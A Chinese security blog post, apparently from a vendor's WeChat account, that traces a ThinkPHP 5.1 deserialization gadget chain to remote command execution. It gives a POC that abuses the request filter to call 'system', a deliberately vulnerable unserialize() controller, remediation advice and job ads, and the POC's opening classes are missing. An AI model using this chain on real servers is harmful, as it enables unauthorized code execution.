一
环境搭建
PHP -- 7.4.21
ThinkPHP --5.1
composer 安装ThinkPHP
先安装composer:
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
*左右滑动查看更多
切换镜像:
composer config -g repo.packagist composer
https://mirrors.aliyun.com/composer/
*左右滑动查看更多
随后在web目录下,创建TP5的应用目录:
composer create-project topthink/think=5.1.* tp5
*左右滑动查看更多
随后进入TP5根目录下 ,下载核心框架:
cd tp5
composer update topthink/framework
*左右滑动查看更多
然后主机访问127.0.0.1/tp5/public ,出现以下界面则安装成功:
二
知识回顾
PHP常用的魔法函数:
-
__construct():创建对象时会自动调用;
-
__destruct():对象销毁时自动调用;
-
__sleep():执行serialize()时自动调用;
-
__wakeup():执行unserialize()时自动调用;
-
__toString():对象被作为字符串处理时自动调用;
-
__get():从不可访问的属性中读取数据时自动调用;
-
__call():调用类中不存在的或不可访问的方法时自动调用;
-
__invoke(): 当以函数方式调用对象时被调用;
-
__set: 当访问不可访问或不存在属性赋值时调用。
反序列化常用起点
1、__wakeup 一定会调用*;
2、__destruct 一定会调用;
3、__toString 当一个对象被反序列后又被当字符串使用。
反序列化的常见中间跳板
1、__toString 当一个对象被当做字符串使用;
2、__get 读取不可访问或不存在属性时被调用;
3、 __set:当访问不可访问或不存在属性赋值时调用。
反序列化的常见终点
1、__cal()调用不可访问或不存在的方法时被调用;
2、call_user_func() 一般PHP代码执行会选择这里;
3、call_user_func_array 一般PHP代码执行会选择这里。
三
漏洞分析
首先我们先寻找反序列的起点__destruct() 或者 __wakeup()。
发现了在think/process/pipes/Windows.php中有一个__destruct()函数可以利用。
public function __destruct()
{
$this->close(); $this->removeFiles();
}
*左右滑动查看更多
在__destruct()函数有个removeFiles(),现在追踪一下这个函数。
/**
* 删除临时文件
*/
private function removeFiles()
{ foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
*左右滑动查看更多
注意:对this->files进行查询,如果存在就删除这个文件,所以这个地方存在一个任意删除的文件。但我们的目的是为了反序列化所以就不继续追踪这个漏洞。
在这个函数中用到了file_exists()这个函数,根据定义,这个函数将参数转化为String类型在进行查询,所以通过这个函数可以调用__toString()魔方方法。
在think/model/concern/Conversion.php中找到了一个可以利用的__toString()方法。
public function __toString()
{
return $this->toJson();
}
追踪$this->toJson()。
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
*左右滑动查看更多
继续追踪$this->toArray()。
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
*左右滑动查看更多
代码太长,我们只看可以被我们利用的部分。
public function toArray()
{
$item = [];
$hasVisible = false;
// 追加属性(必须定义获取器)
if (!empty($this->append)) { //在poc中定义了append:["peanut"=>["whoami"]
foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
if (is_array($name)) { //$name=["whoami"]所以进入
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name); //$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
}
}
}
}
}
return $item;
}
*左右滑动查看更多
注意:在toArray()中我们发现了$relation->visible($name) 这个可控变量->方法(可控参数)的点,通过这个我们就可以利用__call()魔法方法了。现在先跟进$relation这个可控变量。
public function getRelation($name = null) //$name = append的$key 即$name= peanut
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
*左右滑动查看更多
由于$name = peanut 所以进入到elseif,为了在toArray()中可以利用$relation->visible($name),所以得让getRelation()返回是空,所以在poc中不定义$relation,让它跳过elseif直接返回为空。$relation此时为空,那么就将进入到第一个if,跟进下$this->getAttr()。
public function getAttr($name, &$item = null) //此时$name = 上一层的$key = peanut
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
*左右滑动查看更多
跟进getData()。
public function getData($name = null) //$name = $key =peanut
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) { //poc中定义$this->data = ['peanut'=>new request()]
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
*左右滑动查看更多
由于$name = append的$key = peanut 。所以跳过第一个if,在两个elseif中第一个是检测$this->data里是否有和$this->append一样的键,第二个是检测$this->relation中是否有一样的键。由于在上一步中,我们为了让$relation为空,不给$this->relation赋值。所以构造$this->data,在第一个elseif中返回return。
由于在后面需要调用request类中的__call()方法。所以我们先给$this->data() = ['peanut'=>new request()],返回$this->data的键对应的值,所以直接就和后文联系上了。
public function toArray()
{
$item = [];
$hasVisible = false;
// 追加属性(必须定义获取器)
if (!empty($this->append)) { //在poc中定义了append:["peanut"=>["whoami"]
foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
if (is_array($name)) { //$name=["whoami"]所以进入
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key); //$relation = new request()
if ($relation) {
$relation->visible($name);
}
}
}
}
}
return $item;
}
*左右滑动查看更多
注意:经过getAttr和getData后 此时$relation 为 new request() 。$relation -> visible($name)。
为了使 new request() -> visible('["whoami"]') ,现在有两个可控的变量:
-
$append,在Conversion.php中
-
$data,在Attribute.php中
为了可以同时调用,我们需要一个同时继承这两个类的类,经过查找thinkphplibrarythinkModel.php存在一个名为Model的类同时继承了上面两个类。
现在这两个可控变量可以使用了,我们就继续往下走,寻找可以执行命令且当前类没有visible的__call()方法。最终找到了requset这个类。
public function __call($method, $args)//$method为不存在的方法,即$method=visible;$args为调用不存在方法的参数数组,即为['whoami']
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);//$this->hook[visible] = [$this,isAjax];$args=[$this,'whoami']
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
*左右滑动查看更多
在这个__call()方法中,发现了一个可以执行我们命令的函数:
call_user_func_array() 。
但是这个if中有个array_unshitf()函数会将$this插入到$args数组的第一位。此时$args=['$this','whoami'] 无法在下面call _user_func_array中执行"whoami"的命令。
poc在这里传参$this->hook=['visible'=>[$this,'isAjax'] ,笔者的理解是visible=>[$this,'isAjax']经过call_user_func_array(),意思就是$this->isAjax。由于array_unshitf()这个函数的存在使得命令无法执行,所以需要另寻方法。
经过查找得知thinkphp中有个filter过滤器经常和rce有关系。根据这个查到了一个filterValue()的方法。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
*左右滑动查看更多
可以看到,filterValue这个方法调用了call_user_func()函数,可以通过这个来执行我们的命令,由于发现参数都不可控,所以需要寻找一个调用filterValue这个方法的方法。
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
*左右滑动查看更多
在这个方法中我们发现通过array_walk_recursive()把$dara,$filter回调了filterValue这个函数。同时发现$data通过$getData()获得,$filter通过getFilter获得(),现在就追踪这两个方法,看是否可以对这两个变量进行控制。
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter; //给$filter赋值
if (is_string($filter) && false === strpos($filter, '/'))
{
$filter = explode(',', $filter); //将$filter分割为数组
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
*左右滑动查看更多
通过getFilter得知 最后返回了一个数组且数组的值为传入$filter这个变量。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) { //分割$name为数组
if (isset($data[$val])) {
$data = $data[$val]; //$data是$input的上一层的调用方法--$param传入的$this->param;也就是$_GET传入的数组,而$name则是$param的上一层调用--isAjax中传入给$parma的$this->config['var_ajax']的值
} else {
return;
}
}
return $data;
}
*左右滑动查看更多
返回的$data = $data[$name] ,而在filterValue(&$value, $key, $filters)这个函数&$value是指$data物理地址上的值(类似指针取值),$key为$data数组的值。所以我们得保证$data为数组。而在$input里我们无法控制$data和$filters,所以继续寻找调用input的地方。
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
*左右滑动查看更多
在$param()中调用了$input() 发现传入的$this->param 就是$input()中的$data 而$this->param与GET传值有关,可以通过GET方式传值控制,但是$name却无法控制,所以继续寻找调用$param方法且$name可控。
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
*左右滑动查看更多
这里$this->config['var_ajax']虽然已经定义,但是可以重写覆盖,所以param的name可控->input的name可控,那么整条链就是这样:
POC
files = [new Pivot()];
}
}
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
public function __construct()
{
$this->append=["peanut"=>['whoami']];
$this->data=["peanut"=>new Request()];
}
}
namespace think;
Class Request{
protected $hook = [];
protected $filter;
protected $config;
public function __construct()
{
$this->hook['visible']=[$this,'isAjax'];
$this->filter = "system";
$this->config['var_ajax'] = "peanut";
}
}
use thinkprocesspipesWindows;
echo urlencode(serialize(new Windows()));
*左右滑动查看更多
由于该漏洞没有反序列化的条件,所以我们需要构造一个条件 在/application/index/controller/index.php。
public function unser(){
$tmp = $_POST['test'];
echo $tmp;
unserialize(($tmp));
}
}
四
修复建议
-
不信任用户输入:最常见的反序列化漏洞是由于不安全地反序列化用户输入而产生的。在进行反序列化操作之前,要对用户提供的输入进行验证和过滤,确保输入的数据符合预期格式。
-
更新PHP版本:确保使用的PHP版本是最新的,因为PHP开发团队通常会修复已知的安全漏洞并发布更新版本。及时更新可以帮助防止已知的反序列化漏洞。
-
实现白名单验证:对于反序列化数据,可以实现白名单验证机制,只接受预先定义的合法类和数据类型。
五
安全开发建议
-
设置安全的反序列化选项:在PHP 7.0及以上版本中,可以使用unserialize函数的第二个参数来设置反序列化选项。例如,可以使用['allowed_classes' => false]来禁止自动加载类,从而防止远程代码执行。
-
使用安全的序列化库:避免使用不安全的serialize和unserialize函数。建议使用更安全的序列化库,如JSON或XML序列化。JSON序列化可以使用json_encode和json_decode函数,而XML序列化可以使用SimpleXML或DOMDocument类。
-
限制反序列化操作的上下文:如果需要进行反序列化操作,建议在一个受控的环境中进行,限制反序列化操作的上下文,避免影响到不应该被反序列化的对象。
插播一条招聘信息
一、安全研究工程师实习生(24/25届)
工作地点:深圳
岗位职责:
1、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真;
2、对防御对抗、反溯源、攻击利用等相关红队工具进行研究和开发;
3、熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
4、熟悉常见编程语言中的一种(Java、Python、PHP、GO),并能够熟练写出针对性的测试脚本;
5、参与区域内网渗透测试、代码审计、红蓝对抗活动、最新漏洞动态跟踪及复现、风险评估、客户培训等工作;
6、主要参与新服务、新技术创新服务的研究;
7、根据ATT&CK框架梳理研究相关TPPs,并形成对应的检测规则。
加分项:
1、具有渗透测试经验或逆向分析能力或溯源分析能力,曾经参与过大型的红蓝对抗项目;
2、熟悉Java、Python、PHP、GO等编程,并有良好的编程习惯和丰富的代码经验;
3、具备钻研精神,愿意在安全领域做出技术突破;
4、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真;
二、代码审计工程师实习生(24/25届)
工作地点:深圳
岗位职责:
1、跟踪和分析业界最新安全漏洞。
2、挖掘Java、PHP程序中未知的安全漏洞和代码缺陷,并对漏洞进行验证,编制安全加固报告;
3、主要参与新服务、新技术创新服务的研究;
任职要求:
1、对JAVA/PHP编程有较深入的了解,具备较强的Java/PHP代码审计能力,有丰富实战能力;
2、熟悉JAVA/PHP主流框架,具备有一定的编程能力;
3、深入理解常见安全漏洞产生原理及防范方法;
4、熟练掌握源代码测试工具及测试流程,有CNVD、CNNVD等漏洞证书、CVE或CTF比赛获奖者者优先。
5、熟悉主流的源代码审计工具;
6、思路清晰,具有优秀的分析、解决问题的能力,有良好的学习能力及团队协作能力;
7、具备较强的沟通能力、抗压能力,团队合作精神及钻研精神。
简历投递可扫描本文末二维码添加小编微信,或直接发送至邮箱[email protected]
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论